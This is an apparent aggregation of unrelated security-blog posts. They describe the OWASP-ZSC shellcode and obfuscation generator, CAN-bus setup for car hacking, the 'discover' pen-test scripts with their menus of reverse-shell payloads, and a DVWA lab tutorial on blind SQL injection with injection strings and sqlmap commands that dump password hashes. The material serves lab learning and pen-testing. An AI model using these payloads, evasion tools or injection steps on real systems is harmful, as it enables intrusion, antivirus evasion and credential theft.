OWASP-ZSC: A Shellcode/Obfuscate Customized Code Generating Tool

About OWASP-ZSC
   OWASP ZSC is open source software written in python which lets you generate customized shellcodes and convert scripts to an obfuscated script. This software can be run on Windows/Linux/OSX with Python 2 or 3.

   What is shellcode?: Shellcode is a small codes in Assembly language which could be used as the payload in software exploitation. Other usages are in malwares, bypassing antiviruses, obfuscated codes...

   You can read more about OWASP-ZSC in these link:

• OWASP ZSC Tool Project - OWASP
• Document: OWASP ZSC · GitBook (Legacy)
• Home page: OWASP ZSC | OWASP ZCR Shellcoder
• Features: OWASP ZSC | OWASP ZCR Shellocder Available Features
• Archive: ZCR-Shellcoder-Archive
• Mailing List: Google Groups
• API: api.z3r0d4y.com

Why use OWASP-ZSC?
   Another good reason for obfuscating files or generating shellcode with OWASP-ZSC is that it can be used during your pen-testing. Malicious hackers use these techniques to bypass anti-virus and load malicious files in systems they have hacked using customized shellcode generators. Anti-virus work with signatures in order to identify harmful files. When using very well known encoders such as msfvenom, files generated by this program might be already flagged by Anti-virus programs.

   Our purpose is not to provide a way to bypass anti-virus with malicious intentions, instead, we want to provide pen-testers a way to challenge the security provided by Anti-virus programs and Intrusion Detection systems during a pen test.In this way, they can verify the security just as a black-hat will do.

   According to other shellcode generators same as Metasploit tools and etc, OWASP-ZSC  using new encodes and methods which antiviruses won't detect. OWASP-ZSC encoders are able to generate shell codes with random encodes and that allows you to generate thousands of new dynamic shellcodes with the same job in just a second, that means, you will not get the same code if you use random encodes with same commands, And that make OWASP-ZSC one of the best! During the Google Summer of Code we are working on to generate Windows Shellcode and new obfuscation methods. We are working on the next version that will allow you to generate OSX.

OWASP-ZSC Installation:
   You must install Metasploit and Python 2 or 3 first:

• For Debian-based distro users: sudo apt install python2 python3 metasploit-framework
• For Arch Linux based distro users: sudo pacman -S python2 python3 metasploit
• For Windows users: Download Python and Metasploit here.

   And then, enter these command (If you're Windows user, don't enter sudo):
DISCLAIMER: THIS SOFTWARE WAS CREATED TO CHALLENGE ANTIVIRUS TECHNOLOGY, RESEARCH NEW ENCRYPTION METHODS, AND PROTECT SENSITIVE OPEN SOURCE FILES WHICH INCLUDE IMPORTANT DATA. CONTRIBUTORS AND OWASP FOUNDATION WILL NOT BE RESPONSIBLE FOR ANY ILLEGAL USAGE.

An example of OWASP-ZSC

Download OWASP-ZSC

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Sherlock Tool | Find Usernames Across Social Networks

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Hacking All The Cars - Part 2

Connecting Hardware to Your Real Car: 

 I realized the other day I posted Part 2 of this series to my youtube awhile ago but not blogger so this one will be quick and mostly via video walkthrough. I often post random followup videos which may never arrive on this blog. So if you're waiting on something specific I mentioned or the next part to a series its always a good idea to subscribe to the YouTube. This is almost always true if there is video associated with the post.  

In the last blog we went over using virtual CAN devices to interact with a virtual car simulators of a CAN network This was awesome because it allowed us to learn how to interact with he underlying CAN network without fear of hacking around on an expensive automobile. But now it's time to put on your big boy pants and create a real CAN interface with hardware and plug your hardware device into your ODB2 port. 

The video I created below will show you where to plug your device in, how to configure it and how to take the information you learned while hacking around on the virtual car from part1 and apply it directly to a real car.   

Video Walk Through Using Hardware on a Real Car

As a reference here are the two device options I used in the video and the needed cable: 

Hardware Used: 

Get OBD2 Cable:
https://amzn.to/2QSmtyL

Get CANtact:
https://amzn.to/2xCqhMt

Get USB2CAN:
https://shop.8devices.com/usb2can

Creating Network Interfaces: 

As a reference here are the commands from the video for creating a CAN network interface: 

USB2Can Setup: 

The following command will bring up your can interface and you should see the device light color change: 

sudo ip link set can0 up type can bitrate 125000

Contact Setup: 

Set your jumpers on 3,5 and 7 as seen in the picture in the video

Sudo slcand -o -s6 /dev/ttyACM can0 <— whatever device you see in your DMESG output

Ifconfig can0 up

Summary: 

That should get you started connecting to physical cars and hacking around. I was also doing a bit of python coding over these interfaces to perform actions and sniff traffic. I might post that if anyone is interested. Mostly I have been hacking around on blockchain stuff and creating full course content recently so keep a look out for that in the future. 

More info

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2. Hacker Forum
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7. Hackintosh
8. Hacking Process
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Discover: A Custom Bash Scripts Used To Perform Pentesting Tasks With Metasploit

About discover: discover is a custom bash scripts used to automate various penetration testing tasks including recon, scanning, parsing, and creating malicious payloads and listeners with Metasploit Framework. For use with Kali Linux, Parrot Security OS and the Penetration Testers Framework (PTF).

About authors:

• Lee Baird: @discoverscripts
• Jay "L1ghtn1ng" Townsend: @jay_townsend1
• Jason Ashton: @ninewires

discover Installation and Updating

About RECON in discover
   Domain

RECON

1. Passive
2. Active
3. Import names into an existing recon-ng workspace
4. Previous menu

   Passive uses ARIN, dnsrecon, goofile, goog-mail, goohost, theHarvester, Metasploit Framework, URLCrazy, Whois, multiple websites, and recon-ng.

   Active uses dnsrecon, WAF00W, traceroute, Whatweb, and recon-ng.
   [*] Acquire API keys for Bing, Builtwith, Fullcontact, GitHub, Google, Hashes, Hunter, SecurityTrails, and Shodan for maximum results with recon-ng and theHarvester.

API key locations:

recon-ng
   show keys
   keys add bing_api <value>

theHarvester
   /opt/theHarvester/api-keys.yaml

   Person: Combines info from multiple websites.

RECON

First name:
Last name:

   Parse salesforce: Gather names and positions into a clean list.

Create a free account at salesforce (https://connect.data.com/login).
Perform a search on your target company > select the company name > see all.
Copy the results into a new file.

Enter the location of your list:

About SCANNING in discover
   Generate target list: Use different tools to create a target list including Angry IP Scanner, arp-scan, netdiscover and nmap pingsweep.

SCANNING

1. Local area network
2. NetBIOS
3. netdiscover
4. Ping sweep
5. Previous menu


   CIDR, List, IP, Range, or URL

Type of scan:

1. External
2. Internal
3. Previous menu

• External scan will set the nmap source port to 53 and the max-rrt-timeout to 1500ms.
• Internal scan will set the nmap source port to 88 and the max-rrt-timeout to 500ms.
• Nmap is used to perform host discovery, port scanning, service enumeration and OS identification.
• Matching nmap scripts are used for additional enumeration.
• Addition tools: enum4linux, smbclient, and ike-scan.
• Matching Metasploit auxiliary modules are also leveraged.

About WEB in discover
   Insecure direct object reference

Using Burp, authenticate to a site, map & Spider, then log out.
Target > Site map > select the URL > right click > Copy URLs in this host.
Paste the results into a new file.


Enter the location of your file:

   Open multiple tabs in Firefox

Open multiple tabs in Firefox with:

1. List
2. Directories from robots.txt.
3. Previous menu

• Use a list containing IPs and/or URLs.
• Use wget to pull a domain's robot.txt file, then open all of the directories.

   Nikto

Run multiple instances of Nikto in parallel.

1. List of IPs.
2. List of IP:port.
3. Previous menu

   SSL: Use sslscan and sslyze to check for SSL/TLS certificate issues.

Check for SSL certificate issues.

Enter the location of your list:

About MISC in discover
   Parse XML

Parse XML to CSV.

1. Burp (Base64)
2. Nessus (.nessus)
3. Nexpose (XML 2.0)
4. Nmap
5. Qualys
6. revious menu

   Generate a malicious payload

Malicious Payloads

1. android/meterpreter/reverse_tcp
2. cmd/windows/reverse_powershell
3. java/jsp_shell_reverse_tcp (Linux)
4. java/jsp_shell_reverse_tcp (Windows)
5. linux/x64/meterpreter_reverse_https
6. linux/x64/meterpreter_reverse_tcp
7. linux/x64/shell/reverse_tcp
8. osx/x64/meterpreter_reverse_https
9. osx/x64/meterpreter_reverse_tcp
10. php/meterpreter/reverse_tcp
11. python/meterpreter_reverse_https 12. python/meterpreter_reverse_tcp
13. windows/x64/meterpreter_reverse_https
14. windows/x64/meterpreter_reverse_tcp
15. Previous menu

   Start a Metasploit listener

Metasploit Listeners

1. android/meterpreter/reverse_tcp
2. cmd/windows/reverse_powershell
3. java/jsp_shell_reverse_tcp
4. linux/x64/meterpreter_reverse_https
5. linux/x64/meterpreter_reverse_tcp
6. linux/x64/shell/reverse_tcp
7. osx/x64/meterpreter_reverse_https
8. osx/x64/meterpreter_reverse_tcp
9. php/meterpreter/reverse_tcp
10. python/meterpreter_reverse_https
11. python/meterpreter_reverse_tcp
12. windows/x64/meterpreter_reverse_https
13. windows/x64/meterpreter_reverse_tcp
14. Previous menu



Download discover

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Learning Web Pentesting With DVWA Part 3: Blind SQL Injection

In this article we are going to do the SQL Injection (Blind) challenge of DVWA.
OWASP describes Blind SQL Injection as:
"Blind SQL (Structured Query Language) injection is a type of attack that asks the database true or false questions and determines the answer based on the applications response. This attack is often used when the web application is configured to show generic error messages, but has not mitigated the code that is vulnerable to SQL injection.

When an attacker exploits SQL injection, sometimes the web application displays error messages from the database complaining that the SQL Query's syntax is incorrect. Blind SQL injection is nearly identical to normal , the only difference being the way the data is retrieved from the database. When the database does not output data to the web page, an attacker is forced to steal data by asking the database a series of true or false questions. This makes exploiting the SQL Injection vulnerability more difficult, but not impossible."

To follow along click on the SQL Injection (Blind) navigation link. You will be presented with a page like this:

Lets first try to enter a valid User ID to see what the response looks like. Enter 1 in the User ID field and click submit. The result should look like this:

Lets call this response as valid response for the ease of reference in the rest of the article. Now lets try to enter an invalid ID to see what the response for that would be. Enter something like 1337 the response would be like this:

We will call this invalid response. Since we know both the valid and invalid response, lets try to attack the app now. We will again start with a single quote (') and see the response. The response we got back is the one which we saw when we entered the wrong User ID. This indicates that our query is either invalid or incomplete. Lets try to add an or statement to our query like this:

' or 1=1-- -

This returns a valid response. Which means our query is complete and executes without errors. Lets try to figure out the size of the query output columns like we did with the sql injection before in Learning Web Pentesting With DVWA Part 2: SQL Injection.
Enter the following in the User ID field:

' or 1=1 order by 1-- -

Again we get a valid response lets increase the number to 2.

' or 1=1 order by 2-- -

We get a valid response again lets go for 3.

' or 1=1 order by 3-- -

We get an invalid response so that confirms the size of query columns (number of columns queried by the server SQL statement) is 2.
Lets try to get some data using the blind sql injection, starting by trying to figure out the version of dbms used by the server like this:

1' and substring(version(), 1,1) = 1-- -

Since we don't see any output we have to extract data character by character. Here we are trying to guess the first character of the string returned by version() function which in my case is 1. You'll notice the output returns a valid response when we enter the query above in the input field.
Lets examine the query a bit to further understand what we are trying to accomplish. We know 1 is the valid user id and it returns a valid response, we append it to the query. Following 1, we use a single quote to end the check string. After the single quote we start to build our own query with the and conditional statement which states that the answer is true if and only if both conditions are true. Since the user id 1 exists we know the first condition of the statement is true. In the second condition, we extract first character from the version() function using the substring() function and compare it with the value of 1 and then comment out the rest of server query. Since first condition is true, if the second condition is true as well we will get a valid response back otherwise we will get an invalid response. Since my the version of mariadb installed by the docker container starts with a 1 we will get a valid response. Lets see if we will get an invalid response if we compare the first character of the string returned by the version() function to 2 like this:

1' and substring(version(),1,1) = 2-- -

And we get the invalid response. To determine the second character of the string returned by the version() function, we will write our query like this:
1' and substring(version(),2,2) = 1-- -
We get invalid response. Changing 1 to 2 then 3 and so on we get invalid response back, then we try 0 and we get a valid response back indicating the second character in the string returned by the version() function is 0. Thus we have got so for 10 as the first two characters of the database version. We can try to get the third and fourth characters of the string but as you can guess it will be time consuming. So its time to automate the boring stuff. We can automate this process in two ways. One is to use our awesome programming skills to write a program that will automate this whole thing. Another way is not to reinvent the wheel and try sqlmap. I am going to show you how to use sqlmap but you can try the first method as well, as an exercise.
Lets use sqlmap to get data from the database. Enter 1 in the User ID field and click submit.
Then copy the URL from the URL bar which should look something like this
http://localhost:9000/vulnerabilities/sqli_blind/?id=1&Submit=Submit
Now open a terminal and type this command:

sqlmap --version

this will print the version of your sqlmap installation otherwise it will give an error indicating the package is not installed on your computer. If its not installed then go ahead and install it.
Now type the following command to get the names of the databases:

sqlmap -u "http://localhost:9000/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=aks68qncbmtnd59q3ue7bmam30" -p id

Here replace the PHPSESSID with your session id which you can get by right clicking on the page and then clicking inspect in your browser (Firefox here). Then click on storage tab and expand cookie to get your PHPSESSID. Also your port for dvwa web app can be different so replace the URL with yours.
The command above uses -u to specify the url to be attacked, --cookie flag specifies the user authentication cookies, and -p is used to specify the parameter of the URL that we are going to attack.
We will now dump the tables of dvwa database using sqlmap like this:

sqlmap -u "http://localhost:9000/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=aks68qncbmtnd59q3ue7bmam30" -p id -D dvwa --tables

After getting the list of tables its time to dump the columns of users table like this:

sqlmap -u "http://localhost:9000/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=aks68qncbmtnd59q3ue7bmam30" -p id -D dvwa -T users --columns

And at last we will dump the passwords column of the users table like this:

sqlmap -u "http://localhost:9000/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=aks68qncbmtnd59q3ue7bmam30" -p id -D dvwa -T users -C password --dump

Now you can see the password hashes.
As you can see automating this blind sqli using sqlmap made it simple. It would have taken us a lot of time to do this stuff manually. That's why in pentests both manual and automated testing is necessary. But its not a good idea to rely on just one of the two rather we should leverage power of both testing types to both understand and exploit the vulnerability.
By the way we could have used something like this to dump all databases and tables using this sqlmap command:

sqlmap -u "http://localhost:9000/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=aks68qncbmtnd59q3ue7bmam30" -p id --dump-all

But obviously it is time and resource consuming so we only extracted what was interested to us rather than dumping all the stuff.
Also we could have used sqlmap in the simple sql injection that we did in the previous article. As an exercise redo the SQL Injection challenge using sqlmap.

References:

1. Blind SQL Injection: https://owasp.org/www-community/attacks/Blind_SQL_Injection
2. sqlmap: http://sqlmap.org/
3. MySQL SUBSTRING() Function: https://www.w3schools.com/sql/func_mysql_substring.asp

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